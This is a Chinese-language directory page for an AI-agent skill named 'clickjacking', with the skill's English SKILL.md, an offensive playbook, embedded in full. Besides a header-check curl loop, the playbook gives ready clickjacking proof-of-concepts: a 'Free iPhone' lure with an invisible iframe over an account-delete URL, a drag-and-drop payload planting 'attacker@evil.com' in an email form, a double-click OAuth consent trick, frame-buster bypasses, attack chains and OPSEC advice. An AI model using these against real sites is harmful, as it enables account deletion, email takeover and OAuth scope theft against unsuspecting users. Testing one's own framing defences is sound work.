clickjacking
它能做什么
这份指南涵盖点击劫持,即攻击者把敏感页面嵌入框架,诱使用户点击它。适合想确认其页面禁止被嵌套的网页团队。
适用场景
- ✓当网站有支付、删除或授权等敏感操作时。
- ✓当你想检查关键页面是否发送了正确的框架保护响应头时。
- ✓当团队需要测试其页面能否在另一个网站的框架中显示时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/clickjacking/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“我们的账户设置页面和审批页面能否被其他网站嵌入框架?请帮我检查响应头?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体检查敏感页面上与框架相关的响应头,测试它们能否在框架中加载,并报告可以被嵌入的页面。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Clickjacking Playbook
Framing a sensitive UI under an attacker page lets a single victim click trigger
a privileged action (delete account, transfer funds, grant OAuth scope, confirm
2FA). Severity = severity of the framed action. Pages without X-Frame-Options
and without Content-Security-Policy: frame-ancestors are framable.
1. Detection — framing controls
# Inspect headers on every sensitive page (settings, transfer, oauth/consent, delete, admin)
for path in / /account /account/email /account/delete /transfer /oauth/authorize /admin; do
echo "== $path =="
curl -s -D- -o /dev/null "https://<TARGET>$path" \
| grep -iE "x-frame-options|content-security-policy"
done
# Quick "is it framable?" probe — save to disk, open in a browser
cat > /tmp/cj.html <<'EOF'
<!doctype html><title>frame test</title>
<iframe src="https://<TARGET>/account/delete" width="900" height="600"></iframe>
EOF
# If the iframe renders the target UI → framing allowed.
Server-side allow:
- no
X-Frame-Optionsheader and - no
frame-ancestorsdirective inContent-Security-Policy(orframe-ancestors */ overly broad).
2. Misconfig matrix
| Class | Server behaviour | Exploit |
|---|---|---|
| No XFO, no CSP frame-ancestors | full framing allowed | classic overlay |
XFO: ALLOW-FROM only |
ignored by modern browsers | full framing in Chromium/Firefox |
frame-ancestors * |
explicit allow-all | full framing |
frame-ancestors 'self' *.target.com |
trusts every subdomain | host PoC on a takeable subdomain |
Frame-buster JS only (if (top!=self) top.location=self.location) |
client-side defense | sandbox="allow-forms allow-scripts" (no allow-top-navigation) defeats it |
| 204-frame-buster | response replaces self | <iframe csp="sandbox" ...> or pre-empt with onbeforeunload |
| Drag-and-drop sinks | sensitive textarea framable | drag attacker-controlled string onto target form |
| Cursorjacking | custom cursor + offset | misalign visible vs. real pointer |
| Double-clickjacking | first click opens prompt, second confirms | two-stage overlay (Paulos Yibelo 2024) |
| Touch / pointer gestures | mobile swipe consent | overlay with transparent gesture target |
Permissions-Policy missing |
camera/mic in iframe | request perms in nested iframe over consent UI |
3. Exploit PoC — overlay
<!doctype html>
<html><head><title>Free iPhone</title>
<style>
body { margin:0 }
.lure { position:absolute; z-index:1; top:0; left:0; font:48px sans-serif }
iframe { position:absolute; z-index:2; opacity:0.0001;
top:120px; left:60px; width:400px; height:80px;
border:0; pointer-events:auto; }
</style></head><body>
<div class="lure">
Click <b style="color:red">CLAIM</b> to win an iPhone:
<button style="position:absolute;top:140px;left:120px;width:120px;height:40px">CLAIM</button>
</div>
<!-- aligned so the invisible iframe button sits exactly over CLAIM -->
<iframe src="https://<TARGET>/account/delete?confirm=1"
sandbox="allow-forms allow-scripts allow-same-origin"></iframe>
</body></html>
3.1 Drag-and-drop CJ
<div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','attacker@evil.com')">
Drag me to win
</div>
<iframe src="https://<TARGET>/account/email" style="opacity:.0001" ...></iframe>
3.2 Double-clickjacking (browser confirm dialog)
<button onclick="w=window.open('https://<TARGET>/oauth/authorize?client_id=evil&...')">Play</button>
<!-- victim's 2nd click lands inside the popup on the now-focused "Allow" button -->
4. Chains
- CJ + OAuth consent → silent scope grant → API takeover.
- CJ + CSRF-token leakage → click triggers a state change that reads token from the framed page.
- CJ + self-XSS → coerce victim to paste/drag the payload into a framed input.
- CJ + 2FA confirm → step-up auth confirmed under a lure click.
5. Tools
- Burp Suite — Clickbandit (point-and-click PoC generator)
- clickjacker.io / OWASP Clickjacking Tester
- Manual: any HTML editor + a browser with frame ancestors disabled in dev
6. Detection signatures & OPSEC
| Indicator | Detection method | OPSEC note |
|---|---|---|
| Framing from foreign origin | server-side referer logging | Host PoC on in-scope domain during authorized tests |
| Sudden spike in sensitive actions w/ short dwell time | UX analytics | Demonstrate impact with a single victim profile |
| Browser console CSP re |
常见问题
哪些响应头可以防止被嵌入框架?
该指南列出了 X-Frame-Options 响应头,以及内容安全策略中的 frame-ancestors 规则。
为什么严重程度取决于操作?
该指南指出,风险取决于被嵌入的操作能做什么,例如删除账户。
较旧的响应头设置是否足够?
该指南指出,现代浏览器会忽略一些较旧的 allow-from 设置。
详情
作者的原始描述
UI redressing — missing X-Frame-Options / frame-ancestors, frame-buster bypass, drag-and-drop, cursorjacking, double-clickjacking, and sensitive-action framing.
热度
- GitHub 星标
- 6.5k
- 排名
- #14053
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …